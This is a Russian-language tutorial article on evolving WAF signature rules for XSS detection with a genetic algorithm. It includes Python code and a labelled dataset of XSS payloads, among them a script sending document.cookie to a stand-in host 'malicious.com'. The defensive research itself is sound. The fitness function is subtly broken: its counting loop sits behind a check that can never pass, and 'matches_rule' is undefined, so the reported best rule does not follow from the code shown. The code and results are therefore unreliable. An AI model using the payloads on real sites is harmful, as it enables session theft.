Улучшение сигнатурных правил для WEB Application Firewall с помощью генетических алгоритмов
Начнем с официального определения генетических алгоритмов (далее ГА).
ГА - эвристический алгоритм поиска, используемый для решения задач оптимизации и моделирования путём случайного подбора, комбинирования и вариации искомых параметров с использованием механизмов, аналогичных естественному отбору в природе.
Теперь объясним более простыми словами, что представляет собой генетический алгоритм и из чего он состоит, а далее применим ГА для задачи улучшения сигнатурных правил для выявления XSS-атак.
Итак, ГА в классическом понимании состоит из следующих компонентов:
- Fitness function - функция приспособленности (определяет насколько "особь" соответствует критериям, поставленным перед ГА)
- Crossover function - функция "перемешивания" генов от "родителей" для создания новых "особей"
- Mutate function - функция, вносящая некоторый хаос после "перемешивания" генов для большей вариативности "популяции"
- Select parent function - функция, определяющая каким образом будут отобраны "родители" для формирования новой "популяции"
При работе с ГА необходимо заранее подготовить набор тестовых данных (для проверки функции приспособленности) и алгоритм для формирования изначальной популяции. Стоит отдельно упомянуть, что под термином "особь" - может скрываться любой объект исследования для которого стоит задача улучшения его характеристик. Также необходимо учитывать, сколько именно "популяций" должно пройти для ГА. Ограничивающим значением может быть определенная граница для функции приспособленности. Для мутаций важно учитывать вероятность их появления (чем выше вероятность возникновения мутации, тем агрессивнее развивается популяция). Однако важно учитывать, что низкая вероятность мутаций снизит разнообразие популяций и быстрее приведет к состоянию конвергенции (усредненных показателей для разных особей в популяции), высокая же вероятность мутации может привести к вырождению популяции. Этот параметр необходимо настраивать эмпирически и очень осторожно!:)
Перейдем к конкретной практической задаче для применения ГА, а именно: улучшение эмпирических правил для выявления XSS-атак.
Приведем ниже изначальный датасет, где отмечены нормальные запросы и запросы с XSS:
dataset = [
# Нормальные запросы
{"request": "username=admin&password=12345", "is_xss_attack": False},{"request": "search=hello world", "is_xss_attack": False},{"request": "comment=This is a great product!", "is_xss_attack": False},{"request": "email=john.doe@example.com", "is_xss_attack": False},{"request": "page=about", "is_xss_attack": False},{"request": "filter=price_asc", "is_xss_attack": False},{"request": "sort=descending", "is_xss_attack": False},{"request": "action=login&redirect=/dashboard", "is_xss_attack": False},# XSS-атаки (встраивание <script> тегов)
{"request": "comment=<script>alert('XSS')</script>", "is_xss_attack": True},{"request": "username=<script src='http://malicious.com/xss.js'></script>", "is_xss_attack": True},{"request": "email=<script>document.location='http://malicious.com/?cookie='+document.cookie</script>", "is_xss_attack": True},# XSS-атаки (использование событий)
{"request": "username=<img src=x onerror=alert('XSS')>", "is_xss_attack": True},{"request": "comment=<div onclick=alert('XSS')>Click me</div>", "is_xss_attack": True},{"request": "description=<a href=# onload=alert('XSS')>Link</a>", "is_xss_attack": True},# XSS-атаки (URL-кодирование)
{"request": "comment=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E", "is_xss_attack": True}, # <script>alert('XSS')</script>{"request": "username=%3Cimg%20src%3Dx%20onerror%3Dalert%28%27XSS%27%29%3E", "is_xss_attack": True}, # <img src=x onerror=alert('XSS')>{"request": "email=%3Ca%20href%3D%23%20onload%3Dalert%28%27XSS%27%29%3ELink%3C%2Fa%3E", "is_xss_attack": True}, # <a href=# onload=alert('XSS')>Link</a># XSS-атаки (HTML-комментарии для обхода фильтров)
{"request": "comment=<script><!--</script>alert('XSS')<!--</script>", "is_xss_attack": True},{"request": "username=<script>/*</script>alert('XSS')<script>*/</script>", "is_xss_attack": True},# XSS-атаки (использование Base64)
{"request": "description=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=", "is_xss_attack": True}, # Base64: <script>alert('XSS')</script>{"request": "content=data:image/svg+xml,<svg/onload=alert('XSS')>", "is_xss_attack": True},# XSS-атаки (использование JavaScript в URL)
{"request": "redirect=javascript:alert('XSS')", "is_xss_attack": True},{"request": "link=javascript:void(0);alert('XSS')", "is_xss_attack": True},# Сложные случаи
{"request": "input=<iframe src='javascript:alert(\"XSS\")'></iframe>", "is_xss_attack": True},{"request": "message=<svg onload=alert('XSS')>", "is_xss_attack": True},{"request": "payload=<math><mi><script>alert('XSS')</script></mi></math>", "is_xss_attack": True},]
Далее опишем функцию для формирования популяции:
def initialize_population(size):
population = []
for _ in range(size):
individual = {"regex": random.choice([
r".*<script.*>", # Поиск тегов <script>
r".*on\w+\s*=", # Поиск событий (onclick, onload, ...)
r".*javascript\s*:", # Поиск JavaScript в URL или атрибутах
r".*base64[^a-zA-Z0-9+/=]", # Поиск Base64-кодированных строк
r".*<\s*[a-zA-Z]+\s+[^>]*>", # Поиск HTML-тегов с атрибутами
]),
"min_length": random.randint(5, 100), # Минимальная длина запроса
"contains_symbols": random.sample(
["<", ">", "'", '"', "=", "(", ")", "{", "}", ";", ":"],random.randint(1, 5) # Случайное количество символов
)
}
population.append(individual)
return population
Функция формирования популяции работает следующим ообразом:
- случайным образом выбирается один из базовых паттернов регулярных выражений
- Случайным образом выбирается минимальная длина запроса
- Случайным образом выбирается 5 символов из массива символов "маркеров XSS"
Далее опишем функцию для выбора родителей:
def select_parents(population, scores, tournament_size=3):
parents = []
population_size = len(population)
for _ in range(population_size):
candidates = random.sample(range(population_size), tournament_size)
winner = max(candidates, key=lambda idx: scores[idx])
parents.append(population[winner])
return parents
Родительские особи выбираются "турнирным" способом (выбирается лучший из 3-ох), данный алгоритм прост в реализации и помогает избежать преждевременной "усредненности" получающихся "особей"
Теперь опишем функцию мутации:
def mutate(individual):
# Мутация регулярного выражения (10% вероятность)
if random.random() < 0.1:
individual["regex"] = random.choice([
r".*<script.*>", # Поиск тегов <script>
r".*on\w+\s*=", # Поиск событий (onclick, onload, ...)
r".*javascript\s*:", # Поиск JavaScript в URL или атрибутах
r".*base64[^a-zA-Z0-9+/=]", # Поиск Base64-кодированных строк
r".*<\s*[a-zA-Z]+\s+[^>]*>" # Поиск HTML-тегов с атрибутами
])
if random.random() < 0.1:
individual["min_length"] = random.randint(5, 100) # Диапазон длин от 5 до 100
if random.random() < 0.1:
individual["contains_symbols"] = random.sample(
["<", ">", "'", '"', "=", "(", ")", "{", "}", ";", ":"],random.randint(1, 5) # Случайное количество символов от 1 до 5
)
Мутация в данном случае определяет, что с вероятностью (10% в конкретном случае) параметры сигнатурного правила - "особи" могут случайным образом измениться. Мутации поддерживают вариативность "популяции" - набора тестируемых сигнатурных правил.
В конечном итоге опишем функцию приспособленности:
def fitness(individual, dataset):
true_positives = 0
false_positives = 0
if true_positives > 0:
for request in dataset:
if matches_rule(individual, request):
if request['is_xss_attack']:
true_positives += 1
else:
false_positives += 1
precision = true_positives / (true_positives + false_positives + 1e-6)
recall = true_positives / sum(r['is_xss_attack'] for r in dataset)
return precision + recall - false_positives * 0.5
Функция приспособленности считает, сколько было правдивых положительных и ложных срабатываний.
Точность (precision) - соотношение положительных срабатываний к общему числу срабатываний.
Полнота (recall) - соотношение, сколько реальных атак обнаружило правило
Также ложные срабатывания накладывают штраф к функции приспособленности (- false_positives * 0.5)
Вывод:
Для 300 поколений из 350 особей на тестовом наборе данных оказалось лучшим следующее правило: Best rule: {'regex': '.*<\\s*[a-zA-Z]+\\s+[^>]*>', 'min_length': 30, 'contains_symbols': ["'", '<']}
Однако при работе ГА выяснились следующие проблемы:
- Слишком искусственный и маленький датасет (слишком мало ложных срабатываний и стабильно высокое значение функции приспособленности)
- Необходимо создавать более правдоподобное и разнообразное поколение
- Мутации необходимо применять более гибко
Хочется сказать, что при решении всех этих недостатков и получении production-датасета с помощью ГА действительно можно улучшать сигнатурные правила. Также периодически, при обновлении данных можно формировать новые правила, которые будут точнее обнаруживать XSS и иметь низкую вероятность ложных срабатываний.